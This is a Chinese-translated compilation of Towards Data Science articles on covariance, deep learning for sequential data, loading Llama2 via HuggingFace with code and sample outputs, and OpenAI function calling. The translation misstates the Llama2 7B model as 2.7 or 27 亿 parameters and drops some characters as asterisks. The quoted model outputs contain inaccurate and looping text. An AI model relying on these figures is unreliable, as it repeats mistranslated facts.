因此,独立的随机变量具有零协方差,这进一步表明这些变量是无关的。然而,如果我们发现两个变量无关——即它们的相关系数为零——我们不能简单地假设它们是独立的。从根本上讲,协方差和相关性衡量的是线性依赖关系,所以我们只能说这些变量之间不是线性相关的。这些变量完全可能是非线性相关的,但协方差和相关性无法检测这些类型的关系。
为了说明这一事实,我们可以借用一个经典的反例。假设X是一个有某种围绕零对称分布f(x)的随机变量。这意味着对于所有x,我们有f(-x) = f(x),这进一步意味着以下结论成立:
对称性条件(图片由作者提供)。
根据这个对称性条件,X的期望值为:
对称分布的期望(图片由作者提供)。
如果我们现在在X和Y之间创建一个依赖关系,使得Y = X²,那么我们就知道对于任何给定的X值,Y必须是什么。然而,如果我们检查X和Y之间的协方差,我们会发现:
非线性相关的两个变量的协方差(图片由作者提供)。
这表明,虽然X和Y明显相关,但协方差为零,因为它们之间的关系是非线性的。不过,有一种特殊情况你需要知道。如果X和Y都是正态分布变量,那么零的相关系数确实意味着独立。
相关内容
感谢阅读!
如果你喜欢这篇文章并希望保持最新状态,请考虑关注我在 Medium。这将确保你不会错过任何新内容。
要无限访问所有内容,请考虑注册Medium 订阅。
你还可以在 Twitter 上关注我、在 LinkedIn 上关注我,或者查看我的GitHub,如果这更符合你的兴趣 😉
深度学习在序列数据中的应用介绍
原文:
towardsdatascience.com/an-introduction-to-deep-learning-for-sequential-data-ac966b9b9b67
突出时间序列与自然语言处理的相似性
·发表于 Towards Data Science ·阅读时间 8 分钟·2023 年 11 月 14 日
--
当我加载时间序列数据集时的想象。图片由作者提供。(AI 辅助)
时间序列和自然语言等序列数据需要能够捕捉顺序和上下文的模型。时间序列分析侧重于基于时间模式进行预测,而自然语言处理旨在从单词序列中提取语义信息。
尽管任务各异,但这两种数据类型都有长程依赖关系,即远距离的元素会影响预测。随着深度学习的发展,最初为一个领域开发的模型架构已被调整以适用于另一个领域。
序列数据
时间序列和自然语言都具有顺序结构,其中观察值在序列中的位置至关重要。
时间序列是一系列数值。(左)文本是一系列单词。(右)图片由作者提供。
时间序列是一组按时间顺序排列的观察值,并以固定的时间间隔进行采样。一些例子包括:
-
每日股票价格
-
每*时服务器指标
-
每秒的温度读数
时间序列数据的关键属性是观察值的顺序是有意义的。时间上相邻的值通常高度相关——了解近期值有助于预测下一个值。时间序列分析旨在对这些时间依赖性进行建模,以理解模式并进行预测。
文本数据也是序列化的——单词的顺序传达了意义和上下文。例如:
-
约翰扔了球
-
球扔了约翰
尽管两个句子包含相同的单词,但其含义完全取决于词序。这些时间关系在语言模型中表示,是自然语言任务如翻译和总结的关键。
时间序列和文本都表现出长距离依赖——序列中相隔较远的值仍会相互影响。此外,本地模式在不同位置之间重复。
神经网络中的时间序列和文本表示
文本数据需要转换为嵌入,以使其对机器可读。
称为嵌入的向量表示从大型数据集中学习,以捕捉单词或数据点之间的语义意义和关系。嵌入向量在每个元素中编码不同的语义属性,以密集的低*方式表示单词/数据,供机器学习模型使用。嵌入可以在大型语料库上预训练,然后针对特定任务进行微调。
从单词到嵌入。图片来源于作者。
在分析时间序列时,还需考虑趋势和季节性等因素。但在神经网络中,这些数据的表示方式的最终区别在于时间序列是值的序列,而文本是向量的序列。
顺序数据任务
在检查顺序数据时,最直观的下一步是预测序列中接下来会发生什么。
在时间序列预测中,你试图根据过去的数据预测一个连续值(例如明天的股价或下周的温度)。模型被训练以最*化其预测值与实际值之间的差异,这是回归任务的一个常见特征。
文本生成——或更恰当地说,下一个标记预测——包括训练一个模型,以根据之前的标记预测下一个标记。自回归语言建模可以被视为一个多类分类问题,其中每个可能的标记可以看作一个单独的类别。输出是词汇表中所有可能标记的概率分布。
文本分类(情感分析)。图片来源于作者。
其他任务包括句子分类——将句子或文档分类到预定义的类别中,以及时间序列分类。
一个例子是情感分析,这是一个将每个文本分类为积极或消极类别的任务。时间序列也可以进行分类,例如,可以将心跳分类为健康或疾病以检测异常。
时间序列分类(ECG)。图片来源于作者。
在这里,模型需要在手动标注的示例数据集上进行训练,以学习如何将文本或时间序列特征映射到分类标签。
顺序数据建模
在今天强大的神经网络用于时间序列预测和自然语言处理之前,通常使用不同的模型来处理这些任务。
在 2010 年代之前,像自回归积分滑动平均(ARIMA)和指数平滑模型这样的统计方法在时间序列预测中非常流行。这些方法依赖于时间序列中过去值之间的数学关系来预测未来值。虽然在一些数据上有效,但它们做出的刚性假设限制了其在复杂现实世界时间序列上的表现。
在自然语言处理(NLP)中,语言翻译和语音识别等任务过去通常使用基于规则的系统来解决。这些系统编码了人为制定的规则和语法,需要大量的手工努力,并且在处理真实人类语言的细微差别和变化时存在困难。作为替代,朴素贝叶斯、逻辑回归以及其他经典机器学习模型有时也会被应用,但这些模型无法有效捕捉文本数据中的长期上下文和依赖关系。
用于序列数据的模型。作者提供的图像。
RNN和LSTM网络的引入使得时间序列预测和自然语言处理能够进行上下文学习。与依赖于刚性统计假设或简单的输入输出映射不同,RNN 可以从顺序数据中学习长期依赖关系。这一突破使得它们在语言建模、情感分析和非线性预测等问题上表现出色,而这些问题的经典方法无效。尽管在 1980 年代就已引入,但这些模型直到过去十年才变得实用,因为计算能力显著提高。Google 在 2015 年开始在 Google Voice 中使用 LSTM。[1]
循环神经网络
RNN 包含递归连接,允许信息在时间步长之间持续存在。
在进行预测时,可以训练递归神经网络(RNN)使用时间序列中的历史观测数据来学习时间模式。RNN 通过在每个时间步根据当前输入和先前的隐藏状态来更新其隐藏状态来处理序列。
对于下一个标记预测,RNN 在像句子这样的文本序列上进行训练,其中每个标记是一个词。RNN 学习基于先前的词预测下一个词。隐藏状态保持早期词的上下文,以指导下一个预测。在每一步,RNN 输出下一个标记的概率分布。
LSTM 模型可用于预测和下一个词预测。作者提供的图像。
RNNs 记住过去上下文的能力对 NLP 和时间序列分析中的序列任务产生了变革性影响。然而,由于梯度消失和爆炸等问题,它们在处理长期依赖时可能会遇到困难。这一问题促使了像LSTM这样的架构进展,以改善跨多个时间步的梯度流,并通过基于注意力的模型进一步增强。
Transformers
注意力机制使得我们今天所知的所有惊人 LLM 成为可能。它们最初是为了增强 RNNs,通过允许模型在进行预测时关注输入序列的相关部分。注意力函数为每个时间步评分重要性,并利用这些权重提取相关上下文。
注意力已成为 NLP 和时间序列建模中序列任务不可或缺的组成部分。通过关注相关输入,它提高了模型的准确性和可解释性。
原始的 Transformer 架构。位置编码使得序列的顺序能够被捕捉到。[2]
完全依赖自注意力的 Transformer 架构在 NLP 和时间序列建模中取得了突破性成果。自注意力层允许建模序列元素之间的依赖关系,只要序列适合上下文长度,无论距离多远。
Transformers 已成为顺序数据的最先进技术,这种架构被适配为 NLP 的 BERT 和时间序列的 Temporal Fusion Transformer。
面向时间序列的基础模型
基础模型是一个大型机器学习模型,可以在大量数据上进行训练,然后适应各种任务。基础模型不同于传统的机器学习模型,后者通常执行特定任务。它们更为通用和灵活,可以作为开发更专业应用的起点。避免从头开始的昂贵训练可以显著减少构建新应用的时间和成本。
在 NLP 中,大型语言模型允许上下文学习——它们可以执行未明确训练的新任务。这一革命性能力使 ChatGPT 和其他 LLM 如此强大,因为它们能够泛化到各种任务。
当前的大多数预测方法必须针对每个新数据集进行单独拟合。这一过程耗时且需要领域专业知识。为了解决这个问题,基础模型的概念最近被应用于时间序列数据。
TimeGPT 在大量数据集上进行了预训练,并能够生成新数据。[3]
TimeGPT是一个基于 Transformer 的神经网络,预训练于超过 1000 亿个时间序列数据点的多样数据集,涵盖了经济学、天气、交通、零售销售等领域。其关键创新在于,像 GPT-3 一样,TimeGPT 能够泛化,对新的时间序列数据进行准确预测,而无需对每个新数据集重新训练。这种零样本能力相比于传统预测管道节省了大量时间和资源。一个基础模型简化了预测过程,仅用几行代码即可应用于任何时间序列。[2]
收获
在进行深度学习时,要跳出框框思考。数据和模型之间有更多共同之处——一切都是互联的。时间序列分析和自然语言处理(NLP)都在迅速创新和共享思想。
时间序列和自然语言处理作为序列数据类型有许多相似之处。我们使用 RNN、LSTM 和 Transformer 等架构对这两者进行建模。随着深度学习的进步,我们预计技术将继续在这些领域之间交叉。
2010 年代是神经网络征服曾经由统计模型主导的领域的十年。2020 年代看起来将是 Transformer 巩固其主导地位的十年,研究人员不断推动这些强大模型的边界。
喜欢这篇文章吗?通过订阅我的新闻通讯,每周获取数据科学面试问题送到你的邮箱, The Data Interview。
另外,你可以在 LinkedIn上找到我。
参考文献
[1] 长短期记忆 — *基百科
[2][1706.03762] Attention Is All You Need (arxiv.org)
[3] [2310.03589] TimeGPT-1 (arxiv.org)
大型语言模型加载简介
原文:
towardsdatascience.com/an-introduction-to-loading-large-language-models-e7488a7352ed
掌握巨型模型:Llama2 和 HuggingFace 大型语言模型加载简介
·发表于 Towards Data Science ·15 分钟阅读·2023 年 10 月 12 日
--
图片由 Possessed Photography 提供,发布在 Unsplash 上
在人工智能巨头的时代,模型通过数 TB 的数据和数十亿的参数训练而成的领域,自然语言处理变得更加易于接触——不仅对工程师、数据科学家和机器学习研究人员,对爱好者、商人和学生也是如此。我们正站在技术革命的十字路口——由庞大的语言模型驱动。
这场革命影响的不仅仅是我们中的一*部分人,而是所有人。因此,深入了解这些大型语言模型(LLMs)的定义和能力,以及如何使用这些 LLMs,变得越来越重要。那么,为什么工程师理解如何加载这些 LLMs 是至关重要的呢?
这些新的 LLMs 几乎渗透到当今技术领域的每一个角落——数据科学家和自然语言处理(NLP)工程师越来越需要将基于 LLM 的解决方案整合到他们的产品和系统中,无论是在学术界还是工业界。显而易见,了解 LLMs 的基本知识对于做出有关使用哪种模型、何时使用某些模型以及这些模型对特定项目或应用程序的好处等明智决策至关重要。如果没有对 LLMs 的这种基础理解,工程师可能会错过利用最先进(SOTA)LLM 能力构建产品的有影响力的机会。
利用和理解这些 LLMs 的第一步是加载模型。实际来说,为了有效地使用 LLMs,工程师必须首先了解如何加载它们。为什么加载 LLMs 会有挑战?
加载 LLMs 的挑战
由于其庞大的规模以及潜在的硬件要求和软件配置,加载 LLMs 尤其具有挑战性。许多 NLP 工程师在 LLMs 的加载步骤上“不出意外地陷入困境”,这可能会阻碍他们尝试这些模型并真正发挥其能力。能够掌握加载 LLMs 艺术的工程师无疑在利用这些 LLMs 时获得了竞争优势。
这些模型中庞大的参数数量意味着无与伦比的表达能力,使得这些 LLMs 能够有效地捕捉复杂的语言模式和上下文。像 Llama2 和 GPT 这样的 LLMs 的大规模也允许在专业任务和行业上进行微调——这些将在本文稍后更详细地讨论,并将在我未来的文章中继续探讨。毫不意外,这些 LLMs 的庞大参数数量带来了优越的性能,使这些模型在各种语言相关应用中表现出色——从文本生成、问答、摘要、翻译、零样本学习及其他。
在本文中,我们将探讨如何在不同配置下以及使用不同大*的模型来加载今天最受欢迎的模型之一——Meta 的 Llama2。无论你是 NLP 工程师、研究人员,还是对探索人工智能的未来(和现在)充满热情的爱好者,本文将指导你了解加载 LLMs 的基础知识。
图片由 Paz Arando 提供,来源于 Unsplash
什么是 Llama2?
由 Meta 开发,作为 Llama1 的改进版,并于 2023 年 7 月发布,Llama2是一套“预训练和微调的大型语言模型(LLM),规模从 70 亿到 700 亿参数不等”。今年,它因其与其他 SOTA 模型(包括开源和闭源模型)相比的卓越表现以及惊人的规模——从 27 亿参数到 700 亿参数不等——而备受关注。Llama2 已经显示出以非凡的熟练度理解、生成和操控人类语言的能力。其定制化能力也激励了工程师将其适应于广泛的应用领域。特别是,其在微调方面的灵活性使 Llama2 能够针对特定任务、行业和数据集进行调整——赋予工程师在行业和学术界探索其应用的能力。Llama2 还配有 Llama2-Chat,它经过优化用于对话用例,我们将在本文后续部分探讨。根据 Llama2 论文,Llama2-Chat 利用了对齐技术的迭代应用,如指令调优和来自人类反馈的强化学习。有关模型架构和微调过程的更多细节,以及有关安全性的精彩讨论,请参见 Meta 的官方论文这里。
使用 HuggingFace 库
在这个项目中,我们将使用 HuggingFace 库来加载 Llama2。HuggingFace是一个开源数据科学和机器学习(ML)平台,致力于使 AI 领域民主化——这是工程师可以找到模型、数据集和应用程序(在HuggingFace Spaces上)的地方。
具体而言,我们将使用 HuggingFace (HF) Transformers 库,该库包含 不同尺寸的 Meta Llama2 模型。HF 的 Transformers 库最初作为一个开源项目构建,现在与 PyTorch 和 TensorFlow 都能很好地兼容。在我的 NLP 旅程中,我从使用 HF 的 Transformers 库中受益匪浅,因为它使得访问最先进的 NLP 模型,包括 Llama2,变得更加容易。通过 HF 的 API(这是我在这个项目中使用的),我们将看到如何开始加载 LLM 和其他预训练模型。在未来的文章中,我还将分享如何使用 HF 的 API 来微调和部署这些 LLM。
开始使用
在本文中,我们将探索如何加载不同尺寸的 LLM(特别是 Llama2),这对于不同的计算设置将很有帮助。本文作为 Suhas Pai 的书籍 Designing Large Language Model Applications* 的附属和扩展。*
对于这个项目,我最初在 Google Colab 上使用了 Colab 免费版进行代码测试,尽管在加载大型模型和进行推理时遇到了许多问题。因此,对于一些较大的模型(例如 130 亿参数的 Llama2 Hugging Face 模型),假设使用的是 Google Colab Pro 的基本订阅(截至撰写时)。
资源分配
要开始使用,我在我的 Colab 笔记本上进行了以下资源分配——完整代码可以在此查看。
-
Python 3 Google Compute Engine 后端(GPU)
-
系统 RAM:51.0 GB
-
GPU RAM: 40.0 GB
-
磁盘空间:166.8 GB
-
托管运行时类型:A100
请注意,为了提高效率并考虑到 GPU RAM 限制和磁盘空间限制,我们在每次模型运行后清空了 GPU 内存,同时也清理了磁盘空间。
Google Colab 资源。图片来自作者。
HuggingFace 登录
Llama2 是一个受限模型,这意味着我们需要在 Meta 网站 上注册一个许可证才能使用它。这通常需要一两天时间,并且您的注册密钥将与您的 HuggingFace 令牌关联。要创建和使用自己的 HuggingFace 令牌,请参阅 此 HuggingFace 官方网站上的指南。
由于我们使用的是 Google Colab,我们可以使用以下代码登录。
from huggingface_hub import notebook_login
notebook_login()
作者提供的图片
加载库
接下来,我们将加载所需的库,以开始加载 2.7 亿参数的 Llama2 聊天模型、2.7 亿参数的 Llama2 模型和 130 亿参数的 Llama2 模型。在未来的文章中,我们还将展示如何使用 AWS 加载 700 亿参数的 Llama2 模型,请继续关注。
from transformers import AutoTokenizer, pipeline, AutoModelForCausalLM, BitsAndBytesConfig
from torch import cuda, bfloat16
我们将使用bitsandbytes
进行分片。有关模型量化的更多信息,请参见 HuggingFace 文档这里。
通过 HF 加载 Llama2 2.7 亿参数聊天模型
接下来,我们将从最*的 Llama2 模型开始。我们可以根据 HF Transformers 库和相关的模型卡来指定模型名称。然后,我们将指定分词器——但对于这个演示,我们可以直接使用AutoTokenizer
和相关的 Llama2 预训练分词器。然后,我们可以使用transformers.pipeline
函数来指定我们的任务、模型和 PyTorch 数据类型,再设置模型特定的参数,如top_k
、do_sample
(告知模型从 logits 中采样,而不是使用贪婪解码)、max_new_tokens
(指定返回的最大 token 数量)。请注意,Llama2 聊天模型更适合对话。
model = "meta-llama/Llama-2-7b-chat-hf"
tokenizer = AutoTokenizer.from_pretrained(model)
pipeline = transformers.pipeline(
"text-generation",
model=model,
torch_dtype=torch.float16,
device_map="auto",
)
对于这个项目,我们将询问不同变体的“概述加载大型语言模型的步骤”这个问题。
sequences = pipeline(
'Outline the steps to load a large language model using Python.\n',
do_sample=True,
top_k=10,
num_return_sequences=1,
eos_token_id=tokenizer.eos_token_id,
# max_length=200,
max_new_tokens = 1000
)
然后,我们将输出生成的文本。
for seq in sequences:
print(f"Result: {seq['generated_text']}")
结果如下:
结果:概述使用 Python 加载大型语言模型的步骤。
介绍:由于大型语言模型在各种自然语言处理(NLP)任务中的出色表现,近年来受到了广泛关注。这些模型需要大量的计算资源和内存,使得将它们加载到本地机器上变得具有挑战性。本文将概述使用 Python 加载大型语言模型的步骤。
步骤 1:选择语言模型 第一步是选择一个你想加载的大型语言模型。当前有几个流行的模型,包括 BERT、RoBERTa 和 XLNet。你可以选择这些模型中的一个,或尝试不同的变体。
步骤 2:下载模型 一旦选择了语言模型,你需要下载它。你可以从模型的官方网站或信誉良好的数据仓库下载预训练模型。确保下载正确版本的模型,这可能会根据你正在处理的任务而有所不同。
步骤 3:准备模型 下载模型后,你需要准备模型以供使用。这涉及将模型加载到内存中,并按照所需的格式进行格式化。你可以使用 Python 中的
torch
库来加载模型并执行其他自然语言处理任务。步骤 4:加载模型 要将模型加载到内存中,你可以使用
torch.load()
函数。这个函数接受模型文件的路径并将其加载到内存中。以下是一个示例:py import torch model = torch.load(“path/to/model.pth”)
步骤 5:微调模型 在加载模型后,你可能希望对其进行微调以适应你的特定任务。这涉及调整模型的权重以提高其在任务上的表现。你可以使用
torch.optim
模块来优化模型的权重。以下是一个示例:py import torch model = torch.load(“path/to/model.pth”) optimizer = torch.optim.Adam(model.parameters(), lr=0.001)
步骤 6:使用模型 一旦模型被加载并微调,你就可以用它来完成你的自然语言处理任务。你可以使用
model()
函数来进行预测或执行其他自然语言处理任务。以下是一个示例:py import torch model = torch.load(“path/to/model.pth”) input_text = “This is a sample input text.” output = model(input_text)
结论:在本文中,我们概述了使用 Python 加载大型语言模型的步骤。这些步骤包括选择语言模型、下载模型、准备模型、将模型加载到内存中、微调模型以及将模型用于自然语言处理任务。通过遵循这些步骤,你可以利用大型语言模型的强大功能来完成你的自然语言处理任务。
照片由 Dušan veverkolog 拍摄,来源于 Unsplash
通过 HF 加载 Llama2 27 亿参数模型
接下来,我们将尝试使用 Base Llama2 模型。
model_id = "meta-llama/Llama-2-7b-hf"
bnb_config = BitsAndBytesConfig(
load_in_4bit=True,
bnb_4bit_use_double_quant=True,
bnb_4bit_quant_type="nf4",
bnb_4bit_compute_dtype=torch.bfloat16
)
tokenizer = AutoTokenizer.from_pretrained(model_id)
model_4bit = AutoModelForCausalLM.from_pretrained(model_id, quantization_config=bnb_config, device_map="auto")
我们还设置了上面的 bitsandbytes
配置。有关模型量化的更多信息,请参阅 HuuggingFace 文档 这里。
text = """
You are a helpful, respectful and honest assistant. Always answer as helpfully as possible, while being safe. Your answers should not include any harmful, unethical, racist, sexist, toxic, dangerous, or illegal content. Please ensure that your responses are socially unbiased and positive in nature.
If a question does not make any sense, or is not factually coherent, explain why instead of answering something not correct. If you don't know the answer to a question, please don't share false information.
Question: What are the steps to load a large language model using Python? \n
Answer: """
device = "cuda:0"
inputs = tokenizer(text, return_tensors="pt").to(device)
outputs = model_4bit.generate(**inputs, max_new_tokens=1000)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))
为了测试,我们得到:
你是一个乐于助人、尊重他人且诚实的助手。始终尽可能提供有帮助的回答,同时确保安全。你的回答不应包含任何有害的、不道德的、种族歧视的、性别歧视的、毒性的、危险的或非法的内容。请确保你的回答在社会上是无偏见且积极的。如果一个问题没有任何意义,或在事实上不连贯,请解释原因,而不是回答不正确的内容。如果你不知道一个问题的答案,请不要分享虚假的信息。
问题: 使用 Python 加载大型语言模型的步骤是什么?
回答:
你可以使用以下步骤通过 Python 加载大型语言模型:
1.下载模型:你可以从互联网下载模型并将其保存到你的计算机上。
2.导入必要的库:你需要导入加载模型所需的库,如 numpy、pandas 和 tensorflow。
定义模型:你需要通过指定词汇表和*度数量来定义模型。
加载模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来加载模型。
训练模型:你需要通过提供输入文本和期望输出文本来训练模型。
评估模型:你需要通过提供输入文本和期望输出文本来评估模型,并将输出与期望输出进行比较。
保存模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来保存模型。
加载模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来加载模型。
评估模型:你需要通过提供输入文本和期望输出文本来评估模型,并将输出与期望输出进行比较。
保存模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来保存模型。
加载模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来加载模型。
评估模型:你需要通过提供输入文本和期望输出文本来评估模型,并将输出与期望输出进行比较。
保存模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来保存模型。
加载模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来加载模型。
评估模型:你需要通过提供输入文本和期望输出文本来评估模型,并将输出与期望输出进行比较。
保存模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来保存模型。
加载模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来加载模型。
评估模型:你需要通过提供输入文本和期望输出文本来评估模型,并将输出与期望输出进行比较。
保存模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来保存模型。
加载模型:你需要通过指定词汇表、*度数量以及模型保存的文件路径来加载模型。
评估模型:你需要通过提供输入文本和期望输出文本来评估模型,并将输出与期望输出进行比较。
通过 HF 加载 Llama2 130 亿参数模型
接下来,我们还将尝试一个更大的模型——Llama2 的 130 亿参数模型。有关该模型的更多信息,请查看 模型卡。
model_id = "meta-llama/Llama-2-13b-hf"
bnb_config = BitsAndBytesConfig(
load_in_4bit=True,
bnb_4bit_use_double_quant=True,
bnb_4bit_quant_type="nf4",
bnb_4bit_compute_dtype=torch.bfloat16
)
tokenizer = AutoTokenizer.from_pretrained(model_id)
model_4bit = AutoModelForCausalLM.from_pretrained(model_id, quantization_config=bnb_config, device_map="auto")
就像我们在 27 亿参数模型中所做的那样,我们还将使用 bitsandbytes
。
让我们试试吧!
text = """
You are a helpful, respectful and honest assistant. Always answer as helpfully as possible, while being safe. Your answers should not include any harmful, unethical, racist, sexist, toxic, dangerous, or illegal content. Please ensure that your responses are socially unbiased and positive in nature.
If a question does not make any sense, or is not factually coherent, explain why instead of answering something not correct. If you don't know the answer to a question, please don't share false information.
Q: What are the steps to load a large language model using Python? Please explain the answer to me in terms that a 5th grader can understand. Thank you. \n
A: """
device = "cuda:0"
inputs = tokenizer(text, return_tensors="pt").to(device)
outputs = model_4bit.generate(**inputs, max_new_tokens=1000)
print(tokenizer.decode(outputs[0], skip_special_tokens=True))
使用类似之前的问题,我们得到了一个有趣的结果:
你是一个有帮助、尊重和诚实的助手。始终尽可能提供有帮助的回答,同时确保安全。你的回答不应包含任何有害、不道德、种族歧视、性别歧视、有毒、危险或非法的内容。请确保你的回答在社会上没有偏见,并且性质积极。如果问题没有任何意义,或不符合事实,请解释原因,而不是回答不正确的内容。如果你不知道问题的答案,请不要提供虚假的信息。
Q: 使用 Python 加载大型语言模型的步骤是什么?请用五年级学生能理解的术语解释答案。谢谢。
A:
1. 下载语言模型。
2. 导入语言模型。
3. 加载语言模型。
4. 使用语言模型。
结果比较及简要的提示工程讨论
在本文中,我们看到 Llama2 不同大*和版本如何在一个简单的问答提示上表现。请注意,我们将提示分为三部分。首先,我们从 指令文本 开始,指明模型应该如何回答问题及其相关的限制;其次,包括实际问题作为 输入文本,然后我们可以询问 Llama2 我们想要的具体问题——这可以包括前缀“Question”或“Q:”,以便让模型更明确。最后,我们还包括 输出文本,这是模型将基于我们的问题生成令牌的地方。在这里,我们也可以包括“Answer”或“A:”以便让模型更明确——在我的测试中,我发现这对于给 Llama2 一些关于答案格式的示例特别有用。我们不会在本文中深入探讨提示工程,但有关更多信息,请随时阅读这篇 博客文章。
你觉得上面三个结果中哪些方面比较有趣?我个人非常喜欢 Llama2 如何基于“用五年级学生能理解的术语解释答案”这一提示生成答案。此外,Llama2 在 27 亿参数的结果中看起来像是在循环打印加载 LLM 的步骤——虽然这在概念上是有意义的,但是否有其他更直观、更人性化的方式来回答这个问题呢?
其他考虑事项
加载大型语言模型只是了解和创建有用应用的初步步骤。提升 LLM 性能有许多方法,例如并行处理、混合精度训练、模型量化(我们在这里使用了这种方法)、缓存、批处理和分布式系统。
所有这些都是令人兴奋的探索方向,我希望这篇博客文章以及随附的笔记本能为你的 LLM 之旅提供一个良好的起点!
完整代码可以在这里查看。
这篇文章作为 Suhas Pai 的书籍《设计大型语言模型应用》的补充和扩展,并且是书籍 LLM 仓库的一部分。
购买我的书,如有任何错误或建议,请通过电子邮件报告。也欢迎就合作事宜与我联系!我目前对新项目持开放态度。
通过LinkedIn、Twitter或TikTok与我联系。
在Medium上关注我。
参考文献:
-
ai.meta.com/research/publications/llama-2-open-foundation-and-fine-tuned-chat-models/
-
huggingface.co/transformers/v4.10.1/main_classes/pipelines.html
-
huggingface.co/docs/transformers/main_classes/pipelines#transformers.Text2TextGenerationPipeline
-
huggingface.co/models?library=transformers&sort=trending&search=meta
OpenAI 函数调用简介
原文:
towardsdatascience.com/an-introduction-to-openai-function-calling-e47e7cd7680e
不再输出无结构的数据;将 ChatGPT 的完成内容转化为结构化的 JSON!
·发表于 Towards Data Science ·阅读时间 16 分钟·2023 年 7 月 9 日
--
作者制作的标题卡
几个月前,OpenAI 向公众发布了他们的 API,这让许多希望以系统化方式利用 ChatGPT 输出的开发者感到兴奋。尽管这很激动人心,但也同样有些令人头痛,因为我们程序员通常工作在结构化数据类型的领域。我们喜欢整数、布尔值和列表。无结构的字符串处理起来可能很麻烦,为了获得一致的结果,程序员必须面对他们最可怕的噩梦:开发用于正确解析的正则表达式(Regex)。🤢
当然,提示工程确实可以在这里提供很大帮助,但仍然不完美。例如,如果你想让 ChatGPT 分析电影评论的积极性或消极性,你可能会构造如下提示:
prompt = f'''
Please perform a sentiment analysis on the following movie review:
{MOVIE_REVIEW_TEXT}
Please output your response as a single word: either "Positive" or "Negative".
'''
这个提示实际上做得相当不错,但结果并不完全一致。例如,我看到 ChatGPT 在电影情感示例中产生的输出可能如下:
-
Positive
-
positive
-
Positive.
这看起来可能不是大问题,但在编程世界中,这些是不相等的。再说,你可以通过一些正则表达式来处理这样的简单示例,但超出这一点,大多数人(包括我自己)在编写正则表达式方面都很糟糕,有些情况下即使是正则表达式也无法正确解析信息。
正如你所看到的,程序员们一直希望 OpenAI 增加支持结构化 JSON 输出的功能,而 OpenAI 以 函数调用 的形式实现了这一点。函数调用 的意思就是它允许 ChatGPT 生成可以与自定义函数交互的参数,以使用结构化数据类型。不再需要花哨的提示工程和正则表达式来祈祷你能得到正确的结果。在这篇文章中,我们将介绍如何利用这一新功能,但首先,让我们从一个例子开始,展示我们过去如何尝试通过提示工程和正则表达式生成结构化数据输出。
在我们进入文章的主要内容之前,请允许我 分享这个 Jupyter notebook 在我的 GitHub 上的链接。这个 notebook 包含了我将在这篇博客文章中运行的所有代码(以及更多)。此外,我建议你 查看 OpenAI 官方的函数调用文档,以获取我可能没有涵盖的内容。
函数调用前的时代
为了展示我们在“函数调用前的时代”是如何做的,我写了一*段关于自己的文本,我们将使用 OpenAPI 从这段文本中提取信息。以下是我们将要使用的“关于我”的文本:
你好!我叫大卫·亨德利。我是 State Farm 的首席机器学习工程师。我喜欢学习 AI 并将所学的知识传授给他人。我有两个女儿。我开一辆特斯拉 Model 3,我最喜欢的视频游戏系列是《塞尔达传说》。
假设我想从这段文本中提取以下信息:
-
姓名
-
职业头衔
-
公司
-
子女数量 以整数形式(这很重要!)
-
车辆品牌
-
车辆型号
-
最喜欢的视频游戏系列
这是我如何设计一个少量示例提示以生成结构化 JSON 输出:
# Engineering a prompt to extract as much information from "About Me" as a JSON object
about_me_prompt = f'''
Please extract information as a JSON object. Please look for the following pieces of information.
Name
Job title
Company
Number of children as a single integer
Car make
Car model
Favorite video game series
This is the body of text to extract the information from:
{about_me}
'''
# Getting the response back from ChatGPT (gpt-3.5-turbo)
openai_response = openai.ChatCompletion.create(
model = 'gpt-3.5-turbo',
messages = [{'role': 'user', 'content': about_me_prompt}]
)
# Loading the response as a JSON object
json_response = json.loads(openai_response['choices'][0]['message']['content'])
json_response
让我们来看看 ChatGPT 是如何返回这个完成的:
“函数调用前”的时代(作者捕捉)
正如你所见,这其实还不错。但它不是理想的,并且由于以下原因可能会有风险:
-
我们不能保证 OpenAI 的回应会提供干净的 JSON 输出。它可能会生成类似于“这是你的 JSON:”后跟 JSON 输出的内容,这意味着为了使用
json.loads()
将字符串解析为 JSON 对象,我们必须先去掉响应开头的那一*段文本。 -
我们不能保证 JSON 对象中的键值对的键在 API 调用中是一致的。回忆一下上面提到的 3 个
Positive
实例。这正是你在尝试通过少量提示工程解析键时所面临的风险。你可能唯一能固定这个问题的方法是使用正则表达式,但正如我们之前讨论过的,这也有自己的麻烦。 -
我们不能保证收到的响应是正确的数据类型格式。虽然我们提取孩子数量的提示工程解析成了一个合适的整数,但我们仍然只能祈祷每次 API 调用都能获得一致的结果。
我们可以将这些问题总结为一句话:没有功能调用,我们不能保证获得对系统化实现所需精度的重要一致结果。 这是一个非平凡的问题,通过提示工程和正则表达式解决起来可能非常具有挑战性。
进入功能调用
现在我们已经对为什么从 ChatGPT 获得结构化输出曾经存在问题有了一定的直觉,让我们来看看 OpenAI 引入的新功能调用能力。
功能调用实际上有点误导。OpenAI 实际上并没有在真正的函数调用中运行你的代码。相反,它只是设置了你执行自定义函数所需的结构化参数,我认为这是更好的行为。虽然你可能会觉得 OpenAI API 不执行你的自定义函数不合理,但考虑到要做到这一点,你必须将函数代码传递给 ChatGPT。这段函数代码可能包含你不想暴露给任何人的专有信息,因此不需要传递这些代码来利用 OpenAI 的功能调用是件好事。
让我们来看一个如何使用单个自定义函数启用功能调用的示例。使用我们前一节的“关于我”样本文本,创建一个名为extract_person_info
的自定义函数。这个函数只需要三项信息:个人姓名、职位名称和孩子数量。(我们将在下一节重新访问提取其余信息的部分;我现在只是想从简单开始。)这个自定义函数故意设计得非常简单,它将接受我们的参数,并将它们合并为一个字符串。以下是代码:
def extract_person_info(name, job_title, num_children):
'''
Prints basic "About Me" information
Inputs:
- name (str): Name of the person
- job_title (str): Job title of the person
- num_chilren (int): The number of children the parent has.
'''
print(f'This person\'s name is {name}. Their job title is {job_title}, and they have {num_children} children.')
为了利用功能调用,我们需要以特定的方式设置一个 JSON 对象,说明我们自定义函数的名称以及我们希望 ChatGPT 从文本正文中提取的数据元素。由于 JSON 对象应有的具体格式,如果你想了解我未涉及的详细信息,建议参考 OpenAI 的开发者文档。
